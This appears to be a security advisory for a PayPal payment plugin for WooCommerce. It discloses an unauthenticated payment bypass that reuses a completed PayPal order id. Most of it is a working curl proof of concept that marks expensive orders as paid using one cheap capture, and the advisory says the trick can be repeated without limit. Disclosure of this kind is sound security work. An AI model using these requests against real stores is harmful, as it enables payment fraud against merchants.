Payment Plugins for PayPal WooCommerce < 2.0.20 – Unauthenticated Payment Bypass via Reuse of a Completed PayPal Order | CVE 2026-13399

Description

The plugin does not have proper authorization checks on a REST endpoint, allowing unauthenticated users to bypass payments

Proof of Concept

# No login/nonce needed: cart/checkout is permission_callback __return_true and the handler mints its own woocommerce-process_checkout nonce. One prerequisite is a genuine COMPLETED ppcp order id:

#   Complete ONE cheap (e.g. $1) guest purchase via PayPal on the target store; the value ppcp_paypal_order_id is sent in your own /cart/checkout request (visible in browser dev tools).

# Then, fully unauthenticated:

B="https://victim.test"; JAR=$(mktemp)

# 1) Guest builds a high-value cart (real expensive product id)

curl -s -c "$JAR" -b "$JAR" "$B/?wc-ajax=add_to_cart" --data "product_id=EXPENSIVE_ID&quantity=1"

# 2) Unauthenticated checkout reusing the COMPLETED order id

curl -s -c "$JAR" -b "$JAR" "$B/?wc-ajax=wc_ppcp_frontend_request&path=/wc-ppcp/v1/cart/checkout" \
  -H "Content-Type: application/json" \
  --data '{"payment_method":"ppcp","ppcp_paypal_order_id":"COMPLETED_ID_FROM_STEP_0","billing_first_name":"At","billing_last_name":"Tacker","billing_email":"a@e.test","billing_country":"US","billing_address_1":"1 St","billing_city":"LA","billing_state":"CA","billing_postcode":"90001","billing_phone":"5551112222"}'

# Response: {"result":"success","order_id":N}

# The high-value order is now status=processing / paid, transaction_id = the cheap capture.

# Re-running step 2 with the same id against a new cart marks further orders paid (unlimited reuse).

# Negative control: the same request WITHOUT ppcp_paypal_order_id does NOT complete (needs real approval).